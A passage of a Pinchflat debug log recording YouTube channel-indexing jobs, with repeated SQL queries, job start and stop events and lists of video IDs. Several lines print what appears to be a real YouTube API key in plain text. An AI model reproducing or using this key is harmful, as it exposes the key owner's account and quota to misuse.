WHERE (m0."id" = ?) [1] 17:57:43.794 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:43.794 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:57:43.794 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:43.794 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:57:43.794 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:43.794 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:43.794 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:43.794 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:43.928 [debug] QUERY OK source="media_items" db=0.6ms idle=132.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 17:57:43.931 [debug] QUERY OK source="media_items" db=2.2ms idle=134.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:57:43.931 [debug] QUERY OK source="tasks" db=0.1ms idle=136.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800338, 10, ~U[2026-02-10 23:57:43Z], ~U[2026-02-10 23:57:43Z]] 17:57:43.932 [info] {"args":{"id":10},"id":3800300,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138132,"event":"job:stop","queue_time":317947,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:44.158 [debug] QUERY OK source="media_items" db=0.7ms idle=225.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:57:44.159 [debug] QUERY OK source="media_items" db=0.9ms idle=226.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:57:44.160 [debug] QUERY OK source="tasks" db=0.1ms idle=221.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800339, 34, ~U[2026-02-10 23:57:44Z], ~U[2026-02-10 23:57:44Z]] 17:57:44.160 [info] {"args":{"id":34},"id":3800299,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":366601,"event":"job:stop","queue_time":450256,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:44.794 [info] {"args":{"id":8},"id":3800302,"meta":{},"system_time":1770767864794785495,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:44.794 [info] {"args":{"id":9},"id":3800301,"meta":{},"system_time":1770767864794736903,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:44.795 [debug] QUERY OK source="sources" db=0.1ms idle=634.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:57:44.795 [debug] QUERY OK source="sources" db=0.2ms idle=634.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:57:44.795 [debug] QUERY OK source="settings" db=0.1ms idle=628.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:44.795 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:44.795 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:44.795 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:44.795 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:44.795 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:57:44.795 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:44.795 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:57:44.795 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:44.795 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:44.795 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:44.795 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:44.920 [debug] QUERY OK source="media_items" db=0.6ms idle=124.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:57:44.921 [debug] QUERY OK source="media_items" db=0.4ms idle=125.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:57:44.922 [debug] QUERY OK source="tasks" db=0.1ms idle=126.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800340, 8, ~U[2026-02-10 23:57:44Z], ~U[2026-02-10 23:57:44Z]] 17:57:44.923 [info] {"args":{"id":8},"id":3800302,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128134,"event":"job:stop","queue_time":338814,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:45.024 [debug] QUERY OK source="media_items" db=0.7ms idle=100.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 17:57:45.025 [debug] QUERY OK source="media_items" db=0.7ms idle=102.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:57:45.026 [debug] QUERY OK source="tasks" db=0.1ms idle=96.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800341, 9, ~U[2026-02-10 23:57:45Z], ~U[2026-02-10 23:57:45Z]] 17:57:45.026 [info] {"args":{"id":9},"id":3800301,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":231672,"event":"job:stop","queue_time":494823,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:49.801 [info] {"args":{"id":40},"id":3800303,"meta":{},"system_time":1770767869801844335,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:49.802 [debug] QUERY OK source="sources" db=0.2ms idle=923.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 17:57:49.802 [debug] QUERY OK source="settings" db=0.1ms idle=924.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:49.802 [debug] QUERY OK source="media_profiles" db=0.1ms idle=924.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:49.802 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:49.802 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 17:57:49.802 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:49.802 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:49.895 [debug] QUERY OK source="media_items" db=0.6ms idle=92.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", 